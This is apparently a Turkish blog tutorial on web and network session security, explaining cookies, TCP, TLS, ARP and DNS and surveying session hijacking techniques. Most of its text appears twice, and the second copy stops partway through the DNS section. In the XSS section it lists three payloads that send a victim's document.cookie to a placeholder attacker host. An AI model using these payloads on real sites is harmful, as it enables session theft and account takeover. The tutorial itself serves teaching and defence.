Ekin Şiar Bayer tarafından yazılmıştır.
Selamlar. Bu yazımda sessiondan, web uygulamalarında ve ağlarda uygulanan session hijacking tekniklerinden ve session hijackingi önleme yöntemlerinden bahsedeceğim.
Bir web sitesine ilk defa giriş yaptığımızda, sitenin bizi tanıması için bazı bilgilere ihtiyacı olacaktır. Bu bilgileri verebilmek için web sitesine bir istek yollarız. Bu isteğin cevabında ise Set-Cookie isimli bir HTTP Header görürüz. Set-Cookie headerı ile belirlenen cookie, tarayıcının yerel veri tabanına kayıt edilir. Artık Set-Cookie ile aldığımız bütün veriler, web sitesine yolladığımız her isteğe Cookie: veri şeklinde eklenir. Tarayıcımızın yerel veri tabanında birden fazla web sitesinden gelen Set-Cookie verisi olabilir. Bu verilerin nerede kullanılacağını bulmak için protokol, domain ve port üçlüsüne bakılır.
Web sessionları, HTTP nedeniyle her istekte –sunucudaki session değeri ile uyuşup uyuşmama açısından– sadece sunucu tarafından ayrı ayrı incelenirler. Bu nedenle web sessionları stateless session olarak bilinir.
Cookieler tarayıcının yerel veri tabanında tutulurlar ancak sunucu tarafında bir kontrole tabii tutulmazlar, session için durum aynı değildir. Bir web sitesine kullanıcı adı ve parola ile giriş yaptıktan sonra session, güzelce şifrelenerek Set-Cookie ile kullanıcıya geri verilir. Kullanıcı, yetki gerektiren sayfalar arasında gezinirken session, cookie olarak protokol, domain ve port üçlüsüne uyan her isteğe eklenir ve session verisi aktif olup olmama açısından her istekte web sunucusu tarafından kontrol edilir. Bu kontrol web sitesinin /tmp gibi klasörlerinde veya veri tabanında gelişir. Ayrıca bu durumdan ötürü aynı tarayıcıdan aynı protokol, domain ve port üçlüsüne sahip bir web sitesine farklı hesaplar ile aynı anda giriş yapamazsınız. Session aktifse başarılı bir giriş sağlanır, değilse sağlanamaz yani imha edilmiş bir session ile giriş yapılamaz. Web sitesi session ile kullanıcıyı tanır böylece session imha edilmediği sürece kullanıcı, her seferinde kullanıcı adı ve şifre girmek zorunda kalmaz. Sessionı imha etmek için hesabınızdan çıkış yapabilirsiniz veya session cookiesinin expire süresi geldiği zaman sessionın otomatik olarak imha edilmesini bekleyebilirsiniz.
Bahsettiğim cookie-based sessionlar hariç JWT gibi modern web session tokenler veya cookieleri desteklemeyen eski tarayıcılar için olan ve genelde URL ile aktarımı yapılan session ID’ler de günümüzde kullanılmaktadır. URL ile aktarımı yapılan session ID’ler aynı anda birbirine paralel olarak kullanılabilir ancak tarayıcıyı kapattığınız anda imha olurlar ve HTTP Referrer Header dan geçtikleri için loglarda kayıt edilirler bu nedenle güvenli değillerdir.
Cookie-based session alınırken JSON ile giden istek ve gelen cevabın bir örneği:
‘session_data’, sunucudaki simetrik anahtarlama algoritması ile şifrelenir ve bir checksum atanır. Sonrasında HMAC ile bir imza oluşturulur. Ardından oluşan veri base64 veya başka bir algoritma ile şifrelenir ve elimize session verisinin son hali ulaşır.
OSI(Open Systems Interconnection), ağdaki cihazların birbiri ile iletişim kurmak için kullandığı protokolleri özelliklerine göre sınıflandırıp tanımlayan protokoldür. Aşağıdaki görselin oldukça açıklayıcı olduğunu düşünüyorum.
TCP(Transmission Control Protocol), HTTP ye zıt olarak her isteği farklı tanımlayıcılar ile takip eder ve tanımlayıcının aktarımı sırasında sadece sunucu değil kullanıcı da aktif rol oynar. Bu nedenle TCP sessionlarına Statefull Session denir. OSI modelinde 4.katman olan taşıma katmanında yer alır Ayrıca TCP, three-way handshake protocol olarak da bilinir. Three-way handshake protocol olarak isimlendirilmesinin nedeni ise şudur:
HTTP(hyper text transfer protocol), oldukça önemli bir protokoldür. Günümüzde HTTP/2 hatta HTTP/3 kullanıma geçmiştir. İstemci ve sunucu arasında, istemcinin istekleri ve sunucunun cevapları ile iletişimi sağlayan bir yapıdadır. Örnek olarak, internet tarayıcımız ile bir web sitesi sunucusunun index.html dosyasına bir istek göndeririz ve web sunucusu bize muhtemelen 200 kodu ile cevap verir bu şekilde web sitesinin ana sayfasını görüntüleyebiliriz. Sunucudan dönen cevabın status kodlarını incelersek şöyle bir çıkarımda bulunabiliriz:
HTTP üzerinde akan veri şifrelenmediği için iletişim güvenli değildir ancak TLS kullanılarak güvenli hale getirilir (HTTPS). OSI modelinde 7.katman olan uygulama katmanında yer alır. Aşağıdaki resimler ile HTTP isteklerini ve cevaplarını teknik açıdan inceleyebilirsiniz.
TLS(Transport Layer Security), iletişim kuran cihazlar arasındaki asimetrik şifreleme uygulamasıdır. Kullanıcı web sitesinden güvenli bağlantı isteğinde bulunduğunda web sitesi kullanıcıya sertifikası ile birlikte bir public key gönderir. Kullanıcının tarayıcısı public keyin sertifikasını kontrol eder. Kullanıcının tarayıcısı simetrik şifreleme anahtarı üretir ve web sitesinin public keyi ile bu anahtarı şifreleyerek web sunucusuna gönderir. Web sunucusu public key ile şifrelenmiş bu anahtarı kendi private keyi ile çözerek simetrik anahtarı elde eder. Bundan sonrasında sunucu kullanıcıya göndereceği verileri bu anahtar ile gönderir. Anahtar elinde olmayan birisi iletişimi dinleyemez. Anahtarlar RSA veya AES gibi algoritmalar ile şifrelenir. OSI modelinde 6.katman olan sunum katmanında çalışır ancak 5.katman olan oturum katmanında başlar.
UDP(user datagram protocol) ise ağlarda kullanılan farklı bir protokol çeşididir. Veri alıp göndermeden önce kullanıcı ve sunucu arasında hiçbir kontrol yapmaz. Bu nedenle hassas verilerin aktarımı sırasında tercih edilen bir protokol değildir ancak TCP den daha hızlıdır. Hızlı olmasının sayesinde ses ve video gibi gerçek zamanlı iletilmesi gereken verilerin aktarımında ayrıca DNS, DHCP, TFTP gibi protokollerin iletişiminde de kullanılır. OSI modelinde 4.katman olan taşıma katmanında yer alır
Telnet, SSH benzeri bir uzaktan bağlantı protokolüdür. Esnek bir şekilde, farklı işletim sistemlerinin bile birbirine bağlanması için kullanılır. Ancak Telnet üzerinde bütün veriler plain text olarak gider yani bir saldırgan tarafından kolayca sniffing saldırısına maruz bırakılabilir. OSI modelinde 7.katman olan uygulama katmanında yer alır.
DNS(domain name server), IP adreslerine atanmış olan domainleri veya hostnameleri kayıtlı tutmaya yarayan protokoldür. Bu protokol sayesinde bir web sitesine erişmek için web sitesinin IP adresini aklımızda tutmak yerine sadece domaini aklımızda tutmamız yeterli oluyor. Ancak DNS sorguları genellikle DNS sorgusunu gönderen kullanıcı hakkında hiçbir bilgi içermez. OSI modelinde 7.katman olan uygulama katmanında yer alır.
IP(Internet Protocol) adresleri, bir yerel ağa veya internete bağlı cihazın tanımlayıcısıdır. Her protokol isabetli bir istek atmak ve gerekli olduğu zaman geri cevap alabilmek için IP adresini parametre olarak kullanmak zorundadır. Bir cihazın ağ üzerindeki adresini bulmak için kullanılır ve IP adresi olmadan ağ üzerinde hiçbir şeye erişemezsiniz. Olumsuz yönü ise kolayca spoofing saldırısına maruz kalabilmesidir. OSI modelinde 3.katman olan ağ katmanında yer alır
MAC(Media Access Control) adresleri, cihazın ağ donanımına entregre edilmiş ve cihazın sadece yerel ağ üzerinde tanınmasını sağlayan adreslerdir. Yerel ağın dışında kullanılamazlar. 01:23:45:67:89:AB tarzında yani aralarına tırnak konularak 16 lık tabanda yazılırlar. OSI modelinde 2.katman olan veri bağlantısı katmanında yer alır
ARP(Address Resolution Protocol), IP adresleri ile MAC adreslerini birbirine bağlayan protokoldür. Kaynak bilgisayar, hedef bilgisayarın MAC adresini öğrenmek için yerel ağdaki tüm bilgisayarlara ARP isteği yollar. ARP isteğinin kaynağı ARP kaynak bilgisayarın MAC adresidir ARP isteğinin hedefinin MAC adresi bölümünde ise FF:FF:FF:FF:FF:FF adresi yer alır. FF:FF:FF:FF:FF:FF, ağdaki tüm cihazlara broadcast yapmak için kullanılan MAC adresidir. Ağdaki tüm cihazlara yapılan bu duyuru sonrası ARP isteğinde sorulan IP adresi kendisine ait olan cihaz modeme bir ARP cevabı gönderir. Böylece kaynak ve hedef bilgisayar birbirini tanımış olur. ARP, kimlik doğrulama olmadan çalışır. OSI modelinde 3.katman olan ağ katmanında yer alır
Session hijacking bir saldırganın kullanıcının sessionunu ele geçirmesidir. Saldırgan bir kullanıcının sessionunu ele geçirdiği zaman kullanıcı adına istediği işlemi yapabilir. Bu durumda saldırganın olası iki hedefi vardır. Birincisi, kullanıcı ile eşzamanlı olarak hesaba erişerek kullanıcının kimliğine bürünmektir. İkincisi ise kullanıcıyı hesaptan çıkararak sessiona kendi başına devam etmektir.
Session hijackingi temel olarak uygulama seviyesinde ve ağ seviyesinde olmak üzere ikiye ayırabiliriz.
Uygulama seviyesindeki saldırı örnekleri:
Ağ seviyesindeki saldırı örnekleri:
Uygulama seviyesindeki saldırılar için genellikle BurpSuite aracı kullanılır. Ağ seviyesindeki saldırılar içinse wireshark, bettercap, arpspoof, shijack gibi araçlar kullanılır.
XSS (cross site scripting) saldırıları, düzgün kontrol edilmeyen kullanıcı girişleri nedeniyle web sitesine JavaScipt kodlarının enjekte edildiği saldırılardır. Reflected, stored ve DOM olarak üçe ayrılır.
Eğer web sitesinin kullandığı session cookie-based ise ve session cookie HTTP Only flagi tarafından korunmuyorsa, saldırgan XSS payloadında document.cookie yi çağırarak kurbanın session cookiesini ele geçirebilir. Bu durumlar sağlandığında başarılı bir XSS to account takeover saldırısı yapmak için kurbanın session cookilerini saldırganın açmış olduğu web servera yollayan bazı payloadlar:
Session fixation saldırıları, uygulamanın session ID kullandığı durumlarda ortaya çıkar. Bir kullanıcı kimliğini doğruladığında yeni bir session ID atanmıyorsa ve hali hazırda bulunan bir session ID ile kimlik doğrulamasını kabul ediyorsa zafiyet sömürülür. Saldırgan, kendi session ID sinin olduğu URL’i kurbana yollarsa ve kurban bu adres üzerinden kimlik doğrulamasını tamamlarsa, saldırgan kurbanın hesabının session ID sini atamış olacaktır diyebiliriz.
Session ID şifrelemesi eğer düzgün bir şekilde yapılmadıysa ve tahmin edilebilirse örneğin o günün tarihi ve kaçıncı session/kullanıcı olduğunu integer olarak belirten bir session ID varsa bir saldırgan session ID üzerine kolayca session hijacking ile sonuçlanan bir brute force saldırısı yapabilir.
Bu teknik, aslında URL’deki session ID nin kullanıldığı bir sosyal mühendislik saldırısıdır.
Man in the browser client-side olan bir MITM saldırısıdır. Kullanıcının tarayıcısına erişim sağlamayı amaçlar.
Bu saldırı için kullanılan yaygın atak vektörleri:
Tarayıcı uzantılarını tarayıcınıza kurduğunuz zaman bu uzantılar tarayıcınıza erişmek için bazı yetkiler ister. Eğer bu uzantı zararlı yazılım içeriyorsa saldırgan kurbanın tarayıcısı üzerinde yetkileri sınırında istediği şeyi yapabilir.
Zararlı scriptler, basit olarak bir web sitesinin kaynağına veya web sitesinin kullandığı javascript kütüphanesine saldırganın erişebildiği durumlarda etkili olarak kullanılabilir. Bu durumlara XSS, broken link hijacking ve file upload saldırıları örnek olarak gösterilebilir. Böyle bir senaryo ile karşılaşıldığı zaman saldırganlar genellikle BeeF Framework isimli aracı kullanarak bir payload oluştururlar ve tarayıcı üzerinde yapabilecekleri işlemleri kolaylaştırırlar.
API hooking ise saldırganın zararlı API’ler oluşturup tarayıcının işletim sistemindeki processine kendi zararlı API sini hook etmesidir.
Bu saldırı, saldırganın TCP sequence numberı tahmin etmeye çalışarak tahmin ettiği değeri bir pakete işlemesi ile gerçekleştirilir. Eğer işlenmiş paketin ulaştırılması başarılı olmuşsa yani saldırgan TCP sequence numberı doğru tahmin etmişse, saldırgan bu TCP bağlantısına bir veri enjekte edebilir veya RST flagini kullanarak TCP bağlantısını imha edebilir. BSD, Windows NT 3.5 gibi eski işletim sistemleri tahmin edilebilir sequence numberlar ürettikleri için bu saldırıya karşı savunmasızlardır. Bu da günümüzde sık rastlanan bir saldırı olmadığını gösterir.
Bu saldırıda saldırgan bir sunucu cevabı üretir ve gerçek sunucu kullanıcıya gerçek cevabı ulaştırmadan önce kendi ürettiği cevabı kullancıya gönderir.
IP Spoofing saldırısı, saldırganın kurbana güvendiği/tehdit olarak algılamadığı bir IP adresi ile istek yollamasıdır. Saldırganın bunu gerçekleştirebilmek için giden istek üzerinden IP adresini değiştirmesi yeterli olacaktır. Bu saldırının temel hedefi anonimlik sağlamaktır.
Telnet, alığı paketlerin hangi IP adresinden geldiğini incelemez. Bu nedenle saldırgandan gelen ve kurbanın IP adresini içeren paketi kontrol edemez ve bu paketi kurbandan gelen bir paket gibi ele alarak bir cevap gönderir. Temelinde ARP Spoofing yapılmış olur.
DNS session hijacking saldırganın, kurbanın web sitesine ait DNS kayıtlarını değiştirerek kurbanın web sitesine gelen bütün DNS sorgularını saldırganın web sitesine yönelten bir saldırıdır. Phishing amaçlı kullanılır. Yaygın atak vektörleri:
Yerel DNS hijacking, kullanıcının bilgisayarının yerel DNS ayarlarının (hosts dosyası) değiştirilmesi ile gerçekleştirilir.
Router DNS hijacking, genellikle defaul password kullanan routerlara uygulanan bir saldırıdır ve routerın DNS ayarları değiştirildiği zaman bundan routera bağlı bütün cihazlar etkilenir.
MITM DNS hijacking, saldırganın DNS sunucusu ve kullanıcının arasına girerek zararlı web sitelerine yönlendirme yaptığı saldırılardır.
DNS sunucuları çalındığı/hacklendiği zaman, saldırgan DNS kayıtlarını değiştirerek DNS sunucusuna bağlı bütün cihazları zararlı web sitesine yönlendirebilir.
ARP spoofing saldırıları, saldırganın kendi MAC adresini modifiye edip kurbanın IP adresi ile eşleştirmesi ile kayıtların tutulduğu ARP tablosunu zehirlediği durumdur. Kurban saldırganı router, router ise saldırganı kurban zanneder. Bu durumda saldırgan, kurbanın ve routerın arasındaki bütün iletişimi istediği gibi değiştirebilir. Sadece saldırgan ve kurbanın aynı ağa bağlı olduğu durumlarda gerçekleşebilir. Yaygın atak vektörleri: DoS, session hijacking ve MITM saldırılarıdır.
MITM saldırılarında, HTTPS bağlantısını HTTP ye düşürmek için kullanılır. ARP spoofing yaparken kurban SSL/TLS kullanan bir web sitesinde işlem yapıyorsa bu teknik kullanılabilir. Aynı şekilde proxy sunucularında veya public wifi ağlarında kullanılabilecek bir bypass yöntemidir. Tekniğin çalışma mekanizması şöyledir:
[TR] Session Güvenliği
Selamlar. Bu yazımda sessiondan, web uygulamalarında ve ağlarda uygulanan session hijacking tekniklerinden ve session hijackingi önleme yöntemlerinden bahsedeceğim.
Web Uygulamalarında Session Nedir ?
Bir web sitesine ilk defa giriş yaptığımızda, sitenin bizi tanıması için bazı bilgilere ihtiyacı olacaktır. Bu bilgileri verebilmek için web sitesine bir istek yollarız. Bu isteğin cevabında ise Set-Cookie isimli bir HTTP Header görürüz. Set-Cookie headerı ile belirlenen cookie, tarayıcının yerel veri tabanına kayıt edilir. Artık Set-Cookie ile aldığımız bütün veriler, web sitesine yolladığımız her isteğe Cookie: veri şeklinde eklenir. Tarayıcımızın yerel veri tabanında birden fazla web sitesinden gelen Set-Cookie verisi olabilir. Bu verilerin nerede kullanılacağını bulmak için protokol, domain ve port üçlüsüne bakılır.
Web sessionları, HTTP nedeniyle her istekte –sunucudaki session değeri ile uyuşup uyuşmama açısından– sadece sunucu tarafından ayrı ayrı incelenirler. Bu nedenle web sessionları stateless session olarak bilinir.
Cookieler tarayıcının yerel veri tabanında tutulurlar ancak sunucu tarafında bir kontrole tabii tutulmazlar, session için durum aynı değildir. Bir web sitesine kullanıcı adı ve parola ile giriş yaptıktan sonra session, güzelce şifrelenerek Set-Cookie ile kullanıcıya geri verilir. Kullanıcı, yetki gerektiren sayfalar arasında gezinirken session, cookie olarak protokol, domain ve port üçlüsüne uyan her isteğe eklenir ve session verisi aktif olup olmama açısından her istekte web sunucusu tarafından kontrol edilir. Bu kontrol web sitesinin /tmp gibi klasörlerinde veya veri tabanında gelişir. Ayrıca bu durumdan ötürü aynı tarayıcıdan aynı protokol, domain ve port üçlüsüne sahip bir web sitesine farklı hesaplar ile aynı anda giriş yapamazsınız. Session aktifse başarılı bir giriş sağlanır, değilse sağlanamaz yani imha edilmiş bir session ile giriş yapılamaz. Web sitesi session ile kullanıcıyı tanır böylece session imha edilmediği sürece kullanıcı, her seferinde kullanıcı adı ve şifre girmek zorunda kalmaz. Sessionı imha etmek için hesabınızdan çıkış yapabilirsiniz veya session cookiesinin expire süresi geldiği zaman sessionın otomatik olarak imha edilmesini bekleyebilirsiniz.
Bahsettiğim cookie-based sessionlar hariç JWT gibi modern web session tokenler veya cookieleri desteklemeyen eski tarayıcılar için olan ve genelde URL ile aktarımı yapılan session ID’ler de günümüzde kullanılmaktadır. URL ile aktarımı yapılan session ID’ler aynı anda birbirine paralel olarak kullanılabilir ancak tarayıcıyı kapattığınız anda imha olurlar ve HTTP Referrer Header dan geçtikleri için loglarda kayıt edilirler bu nedenle güvenli değillerdir.
Cookie-based session alınırken JSON ile giden istek ve gelen cevabın bir örneği:
POST /login HTTP/1.1
Host: ekinsiarbayer.com
username=ekin&password=1234
HTTP 302 OK
Location: ekinsiarbayer.com/dashboard
Set-Cookie: SESSION={‘IV’:’RASTGELE_DEGER’, ‘session_data’:[‘username’,’user_id’,’password’]}|CHECKSUM|HMAC|BASE64_ENC
‘session_data’, sunucudaki simetrik anahtarlama algoritması ile şifrelenir ve bir checksum atanır. Sonrasında HMAC ile bir imza oluşturulur. Ardından oluşan veri base64 veya başka bir algoritma ile şifrelenir ve elimize session verisinin son hali ulaşır.
OSI Modeli Nedir ?
OSI(Open Systems Interconnection), ağdaki cihazların birbiri ile iletişim kurmak için kullandığı protokolleri özelliklerine göre sınıflandırıp tanımlayan protokoldür. Aşağıdaki görselin oldukça açıklayıcı olduğunu düşünüyorum.
Ağlarda TCP Session Nedir ?
TCP(Transmission Control Protocol), HTTP ye zıt olarak her isteği farklı tanımlayıcılar ile takip eder ve tanımlayıcının aktarımı sırasında sadece sunucu değil kullanıcı da aktif rol oynar. Bu nedenle TCP sessionlarına Statefull Session denir. OSI modelinde 4.katman olan taşıma katmanında yer alır Ayrıca TCP, three-way handshake protocol olarak da bilinir. Three-way handshake protocol olarak isimlendirilmesinin nedeni ise şudur:
- Kullanıcı bir session başlatmak üzere sunucuya rastgele bir değer ile SYN (snychronize) paketini içeren bir istek yollar, SYN=7891 gibi. Örnekteki 7891 değerine sequence number denir.
- Sonrasında sunucu, kullanıcıya SYN-ACK (snychronize-acknowledgement) paketleri ile bir cevap yollar. Sunucudan geri dönen SYN değeri başka bir rastgele sayıyken sunucudan geri dönen ACK değeri kullanıcının ilk istekte yolladığı SYN değerinin bir fazlasıdır, SYN.SYN=4567 ve ACK=7892 gibi.
- Son adımda kullanıcı sunucudan gelen cevabı tanır ve sunucuya, sunucudan gelen cevaptaki SYN değerinin bir fazlası ile bir ACK paketi gönderir, ACK= 4568 gibi. Artık sunucu ve kullanıcı birbirini tanıdığı için session açılmıştır ve iletişim başlamıştır.
Ağlarda Kullanılan Bazı Protokoller
HTTP(hyper text transfer protocol), oldukça önemli bir protokoldür. Günümüzde HTTP/2 hatta HTTP/3 kullanıma geçmiştir. İstemci ve sunucu arasında, istemcinin istekleri ve sunucunun cevapları ile iletişimi sağlayan bir yapıdadır. Örnek olarak, internet tarayıcımız ile bir web sitesi sunucusunun index.html dosyasına bir istek göndeririz ve web sunucusu bize muhtemelen 200 kodu ile cevap verir bu şekilde web sitesinin ana sayfasını görüntüleyebiliriz. Sunucudan dönen cevabın status kodlarını incelersek şöyle bir çıkarımda bulunabiliriz:
- Bilgi 1XX
- Başarılı 2XX,
- Yönlendirme 3XX
- İstemci Hatası 4XX
- Sunucu Hatası 5XX
HTTP üzerinde akan veri şifrelenmediği için iletişim güvenli değildir ancak TLS kullanılarak güvenli hale getirilir (HTTPS). OSI modelinde 7.katman olan uygulama katmanında yer alır. Aşağıdaki resimler ile HTTP isteklerini ve cevaplarını teknik açıdan inceleyebilirsiniz.
TLS(Transport Layer Security), iletişim kuran cihazlar arasındaki asimetrik şifreleme uygulamasıdır. Kullanıcı web sitesinden güvenli bağlantı isteğinde bulunduğunda web sitesi kullanıcıya sertifikası ile birlikte bir public key gönderir. Kullanıcının tarayıcısı public keyin sertifikasını kontrol eder. Kullanıcının tarayıcısı simetrik şifreleme anahtarı üretir ve web sitesinin public keyi ile bu anahtarı şifreleyerek web sunucusuna gönderir. Web sunucusu public key ile şifrelenmiş bu anahtarı kendi private keyi ile çözerek simetrik anahtarı elde eder. Bundan sonrasında sunucu kullanıcıya göndereceği verileri bu anahtar ile gönderir. Anahtar elinde olmayan birisi iletişimi dinleyemez. Anahtarlar RSA veya AES gibi algoritmalar ile şifrelenir. OSI modelinde 6.katman olan sunum katmanında çalışır ancak 5.katman olan oturum katmanında başlar.
UDP(user datagram protocol) ise ağlarda kullanılan farklı bir protokol çeşididir. Veri alıp göndermeden önce kullanıcı ve sunucu arasında hiçbir kontrol yapmaz. Bu nedenle hassas verilerin aktarımı sırasında tercih edilen bir protokol değildir ancak TCP den daha hızlıdır. Hızlı olmasının sayesinde ses ve video gibi gerçek zamanlı iletilmesi gereken verilerin aktarımında ayrıca DNS, DHCP, TFTP gibi protokollerin iletişiminde de kullanılır. OSI modelinde 4.katman olan taşıma katmanında yer alır
Telnet, SSH benzeri bir uzaktan bağlantı protokolüdür. Esnek bir şekilde, farklı işletim sistemlerinin bile birbirine bağlanması için kullanılır. Ancak Telnet üzerinde bütün veriler plain text olarak gider yani bir saldırgan tarafından kolayca sniffing saldırısına maruz bırakılabilir. OSI modelinde 7.katman olan uygulama katmanında yer alır.
DNS(domain name server), IP adreslerine atanmış olan domainleri veya hostnameleri kayıtlı tutmaya yarayan protokoldür. Bu protokol sayesinde bir web sitesine erişmek için web sitesinin IP adresini aklımızda tutmak yerine sadece domaini aklımızda tutmamız yeterli oluyor. Ancak DNS sorguları genellikle DNS sorgusunu gönderen kullanıcı hakkında hiçbir bilgi içermez. OSI modelinde 7.katman olan uygulama katmanında yer alır.
IP(Internet Protocol) adresleri, bir yerel ağa veya internete bağlı cihazın tanımlayıcısıdır. Her protokol isabetli bir istek atmak ve gerekli olduğu zaman geri cevap alabilmek için IP adresini parametre olarak kullanmak zorundadır. Bir cihazın ağ üzerindeki adresini bulmak için kullanılır ve IP adresi olmadan ağ üzerinde hiçbir şeye erişemezsiniz. Olumsuz yönü ise kolayca spoofing saldırısına maruz kalabilmesidir. OSI modelinde 3.katman olan ağ katmanında yer alır
MAC(Media Access Control) adresleri, cihazın ağ donanımına entregre edilmiş ve cihazın sadece yerel ağ üzerinde tanınmasını sağlayan adreslerdir. Yerel ağın dışında kullanılamazlar. 01:23:45:67:89:AB tarzında yani aralarına tırnak konularak 16 lık tabanda yazılırlar. OSI modelinde 2.katman olan veri bağlantısı katmanında yer alır
ARP(Address Resolution Protocol), IP adresleri ile MAC adreslerini birbirine bağlayan protokoldür. Kaynak bilgisayar, hedef bilgisayarın MAC adresini öğrenmek için yerel ağdaki tüm bilgisayarlara ARP isteği yollar. ARP isteğinin kaynağı ARP kaynak bilgisayarın MAC adresidir ARP isteğinin hedefinin MAC adresi bölümünde ise FF:FF:FF:FF:FF:FF adresi yer alır. FF:FF:FF:FF:FF:FF, ağdaki tüm cihazlara broadcast yapmak için kullanılan MAC adresidir. Ağdaki tüm cihazlara yapılan bu duyuru sonrası ARP isteğinde sorulan IP adresi kendisine ait olan cihaz modeme bir ARP cevabı gönderir. Böylece kaynak ve hedef bilgisayar birbirini tanımış olur. ARP, kimlik doğrulama olmadan çalışır. OSI modelinde 3.katman olan ağ katmanında yer alır
Session Hijacking Nedir ?
Session hijacking bir saldırganın kullanıcının sessionunu ele geçirmesidir. Saldırgan bir kullanıcının sessionunu ele geçirdiği zaman kullanıcı adına istediği işlemi yapabilir. Bu durumda saldırganın olası iki hedefi vardır. Birincisi, kullanıcı ile eşzamanlı olarak hesaba erişerek kullanıcının kimliğine bürünmektir. İkincisi ise kullanıcıyı hesaptan çıkararak sessiona kendi başına devam etmektir.
Session Hijacking Teknikleri Nelerdir ?
Session hijackingi temel olarak uygulama seviyesinde ve ağ seviyesinde olmak üzere ikiye ayırabiliriz.
Uygulama seviyesindeki saldırı örnekleri:
- Sniffing(MITM)
- Session fixation,
- Session ID brute-force,
- XSS
- Session donation
- Man in the browser
Ağ seviyesindeki saldırı örnekleri:
- Sniffing(MITM)
- TCP Sequence number tahmini
- UDP session hijacking
- IP spoofing
- Telnet session hijacking
- DNS session hijacking
- ARP poisoning
- SSL strip
Uygulama seviyesindeki saldırılar için genellikle BurpSuite aracı kullanılır. Ağ seviyesindeki saldırılar içinse wireshark, bettercap, arpspoof, shijack gibi araçlar kullanılır.
XSS ile Session Hijacking
XSS (cross site scripting) saldırıları, düzgün kontrol edilmeyen kullanıcı girişleri nedeniyle web sitesine JavaScipt kodlarının enjekte edildiği saldırılardır. Reflected, stored ve DOM olarak üçe ayrılır.
- Reflected XSS sayfanın kaynağına yansır, user interaction gerektirir.
- Stored XSS sayfanın kaynağına yazılır, user interaction gerektirmez.
- DOM (Document Object Model) XSS ise resim, yazı ve form gibi nesnelere yansır.
Eğer web sitesinin kullandığı session cookie-based ise ve session cookie HTTP Only flagi tarafından korunmuyorsa, saldırgan XSS payloadında document.cookie yi çağırarak kurbanın session cookiesini ele geçirebilir. Bu durumlar sağlandığında başarılı bir XSS to account takeover saldırısı yapmak için kurbanın session cookilerini saldırganın açmış olduğu web servera yollayan bazı payloadlar:
- <script>var i=new Image;i.src=”http://iport/?”+document.cookie;</script>
- <img src=x onerror=this.src=’http://iport/?’+document.cookie;>
- <img src=x onerror=”this.src=’http://iport/?’+document.cookie; this.removeAttribute(‘onerror’);”>
Session Fixation ile Session Hijacking
Session fixation saldırıları, uygulamanın session ID kullandığı durumlarda ortaya çıkar. Bir kullanıcı kimliğini doğruladığında yeni bir session ID atanmıyorsa ve hali hazırda bulunan bir session ID ile kimlik doğrulamasını kabul ediyorsa zafiyet sömürülür. Saldırgan, kendi session ID sinin olduğu URL’i kurbana yollarsa ve kurban bu adres üzerinden kimlik doğrulamasını tamamlarsa, saldırgan kurbanın hesabının session ID sini atamış olacaktır diyebiliriz.
Session ID Brute-Force ile Session Hijacking
Session ID şifrelemesi eğer düzgün bir şekilde yapılmadıysa ve tahmin edilebilirse örneğin o günün tarihi ve kaçıncı session/kullanıcı olduğunu integer olarak belirten bir session ID varsa bir saldırgan session ID üzerine kolayca session hijacking ile sonuçlanan bir brute force saldırısı yapabilir.
Session Donation
Bu teknik, aslında URL’deki session ID nin kullanıldığı bir sosyal mühendislik saldırısıdır.
- Saldırgan, kurban adına bir hesap açar.
- Ardından saldırgan kurbanı kandırır ve kurban adına oluşturmuş olduğu hesaba URL deki session ID den yararlanarak kurbanın tek tıklama ile giriş yapmasını sağlar.
- Kurban, yaptığı hassas işlemlerin kendisine ait bir hesapta olduğunu düşünür ancak saldırgan kurbanın bütün hassas bilgilerine erişim sağlayacaktır.
Man in the Browser ile Session Hijacking
Man in the browser client-side olan bir MITM saldırısıdır. Kullanıcının tarayıcısına erişim sağlamayı amaçlar.
Bu saldırı için kullanılan yaygın atak vektörleri:
- Tarayıcı uzantıları
- Zararlı scriptler
- API Hooking
Tarayıcı uzantılarını tarayıcınıza kurduğunuz zaman bu uzantılar tarayıcınıza erişmek için bazı yetkiler ister. Eğer bu uzantı zararlı yazılım içeriyorsa saldırgan kurbanın tarayıcısı üzerinde yetkileri sınırında istediği şeyi yapabilir.
Zararlı scriptler, basit olarak bir web sitesinin kaynağına veya web sitesinin kullandığı javascript kütüphanesine saldırganın erişebildiği durumlarda etkili olarak kullanılabilir. Bu durumlara XSS, broken link hijacking ve file upload saldırıları örnek olarak gösterilebilir. Böyle bir senaryo ile karşılaşıldığı zaman saldırganlar genellikle BeeF Framework isimli aracı kullanarak bir payload oluştururlar ve tarayıcı üzerinde yapabilecekleri işlemleri kolaylaştırırlar.
API hooking ise saldırganın zararlı API’ler oluşturup tarayıcının işletim sistemindeki processine kendi zararlı API sini hook etmesidir.
TCP Sequence Number Tahmini
Bu saldırı, saldırganın TCP sequence numberı tahmin etmeye çalışarak tahmin ettiği değeri bir pakete işlemesi ile gerçekleştirilir. Eğer işlenmiş paketin ulaştırılması başarılı olmuşsa yani saldırgan TCP sequence numberı doğru tahmin etmişse, saldırgan bu TCP bağlantısına bir veri enjekte edebilir veya RST flagini kullanarak TCP bağlantısını imha edebilir. BSD, Windows NT 3.5 gibi eski işletim sistemleri tahmin edilebilir sequence numberlar ürettikleri için bu saldırıya karşı savunmasızlardır. Bu da günümüzde sık rastlanan bir saldırı olmadığını gösterir.
UDP Session Hijacking
Bu saldırıda saldırgan bir sunucu cevabı üretir ve gerçek sunucu kullanıcıya gerçek cevabı ulaştırmadan önce kendi ürettiği cevabı kullancıya gönderir.
IP Spoofing
IP Spoofing saldırısı, saldırganın kurbana güvendiği/tehdit olarak algılamadığı bir IP adresi ile istek yollamasıdır. Saldırganın bunu gerçekleştirebilmek için giden istek üzerinden IP adresini değiştirmesi yeterli olacaktır. Bu saldırının temel hedefi anonimlik sağlamaktır.
Telnet Session Hijacking
Telnet, alığı paketlerin hangi IP adresinden geldiğini incelemez. Bu nedenle saldırgandan gelen ve kurbanın IP adresini içeren paketi kontrol edemez ve bu paketi kurbandan gelen bir paket gibi ele alarak bir cevap gönderir. Temelinde ARP Spoofing yapılmış olur.
DNS Session Hijacking
DNS session hijacking saldırganın, kurbanın web sitesine ait DNS kayıtlarını değiştirerek kurbanın web sitesine gelen bütün DNS sorgularını saldırganın web sitesine yönelten bir saldırıdır. Phishing amaçlı kullanılır. Yaygın atak vektörleri:
- Yerel DNS hijacking
- Router DNS hijacking
- MITM DNS hijacking
- DNS sunucusunun çalınması
Yerel DNS hijacking, kullanıcının bilgisayarının yerel DNS ayarlarının (hosts dosyası) değiştirilmesi ile gerçekleştirilir.
